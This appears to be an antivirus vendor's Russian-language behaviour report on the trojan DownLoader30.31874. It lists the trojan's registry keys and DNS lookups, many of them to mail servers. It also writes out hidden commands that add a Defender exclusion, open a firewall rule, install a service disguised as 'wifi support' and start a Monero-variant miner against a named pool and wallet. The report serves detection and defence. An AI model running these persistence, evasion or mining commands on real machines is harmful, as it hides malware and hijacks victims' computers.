Trojan.DownLoader30.31874

Техническая информация

Для обеспечения автозапуска и распространения

Создает следующие сервисы

[<HKLM>\System\CurrentControlSet\Services\uzygbcuk] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\uzygbcuk] 'ImagePath' = '%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe /d"<Полный путь к файлу>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\uzygbcuk] 'ImagePath' = '%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe'

Вредоносные функции

Для затруднения выявления своего присутствия в системе

добавляет исключения антивируса с помощью следующих ключей реестра::

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\uzygbcuk' = '00000000'

Запускает на исполнение

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\svchost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\oqjubjxn.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Перемещает следующие файлы

%TEMP%\oqjubjxn.exe в %WINDIR%\syswow64\uzygbcuk\oqjubjxn.exe

Самоудаляется.

Сетевая активность

TCP

Запросы HTTP GET

http://www.google.com/

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK bg##.com
DNS ASK d3#####.##s.barracudanetworks.com
DNS ASK lp####gncorp.com
DNS ASK ed####rkshop.com
DNS ASK ma##.#rotonmail.ch
DNS ASK ar###-td.com
DNS ASK gs.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK pe###mina.com
DNS ASK mx#.##rtamina.com
DNS ASK ey##.com
DNS ASK al####maxcut.com
DNS ASK ip##fo.io
DNS ASK ip##er.com
DNS ASK gm##l.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK sa####ite-email.com
DNS ASK sp#####ter.eikmail.com
DNS ASK li##y.com
DNS ASK ma######prde1.xh1.lilly.com
DNS ASK re###chi.com
DNS ASK mx.##tker.com
DNS ASK ds##.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK gd###rich.com
DNS ASK we#####.gdietrich.com
DNS ASK em#.mail.ru
DNS ASK or###nuk.com
DNS ASK ic##ail.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK dp#.#oreal.com
DNS ASK ya##o.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK sl####eyetel.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ma###.newulmtel.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK up#####uyersclub.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK gs###reless.com
DNS ASK hk.####n.herominers.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK bi##ky.net
DNS ASK mx#.###per.iphmx.com
DNS ASK google.com
DNS ASK go###e.co.uk
DNS ASK ja###tech.com
DNS ASK re##ult.com
DNS ASK sm##.renault.fr
DNS ASK lp##rp.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK on###eok.com
DNS ASK ma#####e2.drcomp.com
DNS ASK ch##ter.net
DNS ASK mx#.#harter.net
DNS ASK e-####edtoday.com
DNS ASK ar.#hl.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK at##n.com
DNS ASK bi####.##t.mx1.ikano.rcimx.net

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\uzygbcuk\oqjubjxn.exe' /d"<Полный путь к файлу>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\uzygbcuk\' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oqjubjxn.exe" %WINDIR%\SysWOW64\uzygbcuk\' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' create uzygbcuk binPath= "%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' description uzygbcuk "wifi internet conection"' (со скрытым окном)
'%WINDIR%\syswow64\sc.exe' start uzygbcuk' (со скрытым окном)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\uzygbcuk\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\oqjubjxn.exe" %WINDIR%\SysWOW64\uzygbcuk\
'%WINDIR%\syswow64\sc.exe' create uzygbcuk binPath= "%WINDIR%\SysWOW64\uzygbcuk\oqjubjxn.exe /d\"<Полный путь к файлу>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description uzygbcuk "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start uzygbcuk
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k